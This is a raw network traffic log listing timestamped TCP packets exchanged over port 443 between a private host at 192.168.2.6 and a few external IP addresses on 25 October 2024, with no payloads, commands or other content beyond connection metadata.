Oct 25, 2024 10:17:59.567872047 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:59.569493055 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:59.571389914 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:59.576948881 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:59.580343008 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:59.585832119 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:59.587421894 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:59.587475061 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:59.587610006 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:59.596322060 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:59.605724096 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:59.610984087 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:59.611217022 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:59.662250996 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:59.696268082 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:59.704574108 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:59.704936028 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:59.705040932 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:59.710087061 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:59.713646889 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:59.719255924 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:59.721631050 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:59.730329037 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:59.730392933 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:59.735500097 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:59.747375011 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:59.754870892 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:59.756669044 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:59.760373116 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:59.802438974 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:59.829684973 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:59.838629007 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:59.838795900 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:59.858841896 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:59.864505053 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:59.869752884 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:59.872606993 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:59.879398108 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:59.879477024 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:59.880762100 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:59.886356115 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:59.890758991 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:59.894153118 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:59.896117926 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:59.946206093 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:59.985068083 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:59.988580942 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:17:59.994925976 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:59.994982958 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:17:59.997570038 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:00.011246920 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.013906002 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:00.015714884 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.017829895 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:00.018490076 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.018569946 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:00.020428896 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:00.023345947 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.066138983 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.114440918 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.121345997 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:00.122823000 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.122896910 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:00.125080109 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:00.126904011 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.130547047 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.138658047 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.140868902 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:00.142318010 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.142390013 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:00.144220114 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:00.144562006 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.149667978 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.150700092 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:00.202215910 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.246083021 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.249417067 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.249497890 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:00.250649929 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:00.253221989 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:00.257466078 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.258579969 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.271683931 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.271693945 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.271750927 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:00.271912098 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.275175095 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:00.275258064 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:00.275862932 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.275919914 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:00.277873993 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:00.280735016 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.330173016 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.333323002 CEST	49674	443	192.168.2.6	173.222.162.64
Oct 25, 2024 10:18:00.333333015 CEST	49673	443	192.168.2.6	173.222.162.64
Oct 25, 2024 10:18:00.378170967 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.378201962 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.378509998 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:00.382952929 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:00.383033037 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:00.388341904 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.388900042 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.399909019 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.400599957 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.400659084 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:00.402054071 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:00.402374029 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:00.402539968 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.404453039 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:00.407655954 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.454237938 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.508344889 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.508577108 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.508630991 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:00.512358904 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:00.512413025 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:00.517714024 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.517811060 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.526612043 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.526729107 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.526778936 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:00.527151108 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.529874086 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.529925108 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:00.530205965 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:00.530267000 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:00.532080889 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:00.536478996 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.582182884 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.630353928 CEST	49672	443	192.168.2.6	173.222.162.64
Oct 25, 2024 10:18:00.639818907 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.639849901 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.639959097 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:00.643585920 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:00.643651009 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:00.649069071 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.649121046 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.655553102 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.655663013 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.655754089 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:00.656462908 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.659298897 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:00.659328938 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:00.659744024 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:00.664877892 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.706414938 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.770832062 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.770876884 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.770934105 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:00.775194883 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:00.775264978 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:00.782604933 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.787750006 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.787781954 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.787792921 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.787844896 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:00.790569067 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:00.790730953 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:00.791055918 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:00.796459913 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.904586077 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.904613972 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.904695034 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:00.904937029 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.908344984 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:00.908365965 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:00.913861990 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.915272951 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.916268110 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.916289091 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:00.916349888 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:00.918468952 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:00.918551922 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:00.918939114 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:00.925769091 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.034343004 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.034420967 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.034492970 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:01.037831068 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:01.037915945 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:01.043320894 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.048969984 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.048981905 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.049037933 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:01.049367905 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.049798012 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.049850941 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:01.051395893 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:01.051570892 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:01.052318096 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:01.056929111 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.098313093 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.164669037 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.164731979 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.164789915 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:01.168262959 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:01.168320894 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:01.174129009 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.174299955 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.196168900 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.196225882 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.196281910 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:01.196361065 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.196846008 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.196899891 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:01.199173927 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:01.199378014 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:01.199647903 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:01.204907894 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.246156931 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.293618917 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.293656111 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.293690920 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.293834925 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:01.297627926 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:01.297715902 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:01.303205013 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.333730936 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.333766937 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.333805084 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.333832026 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:01.336761951 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:01.336935997 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:01.337898016 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:01.346432924 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.422552109 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.422633886 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.422784090 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:01.422796011 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.427340031 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:01.427875996 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:01.433372974 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.468415976 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.468688011 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.468748093 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:01.468803883 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.468868017 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.468918085 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:01.509938002 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:01.510802984 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:01.516557932 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.519773006 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:01.552423954 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.552453995 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.552551031 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.552630901 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:01.555982113 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:01.556102991 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:01.561805964 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.635468006 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.636194944 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.636241913 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:01.639632940 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:01.639764071 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:01.644562960 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.645765066 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.647228003 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:01.680720091 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.681066036 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.681117058 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:01.684693098 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:01.684737921 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:01.690350056 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.765743017 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.765844107 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.765872955 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.766149044 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:01.769469023 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:01.769531965 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:01.772891045 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.772964954 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:01.775331020 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.775357962 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:01.809541941 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.811683893 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.813218117 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:01.813572884 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:01.815934896 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:01.821552992 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.894620895 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.894756079 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.894814014 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.894823074 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:01.898782015 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:01.898884058 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:01.899823904 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.899899006 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:01.902309895 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:01.904568911 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.939652920 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.940457106 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:01.940548897 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:01.943885088 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:01.944426060 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:01.949769974 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.023787022 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.023900032 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.023966074 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:02.026618004 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.030261040 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:02.032496929 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:02.033510923 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:02.038166046 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.071371078 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.073292017 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.073326111 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.073502064 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:02.077472925 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:02.078353882 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:02.084270000 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.155291080 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.157927990 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.158200979 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.158416986 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:02.159204960 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:02.160764933 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:02.160764933 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:02.166312933 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.204348087 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.204649925 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.204725027 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:02.207931995 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:02.207931995 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:02.213789940 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.284190893 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.285115957 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.285219908 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:02.285485983 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.292130947 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:02.292778969 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:02.293503046 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:18:02.298249006 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 25, 2024 10:18:02.333295107 CEST	443	49724	13.107.246.45	192.168.2.6
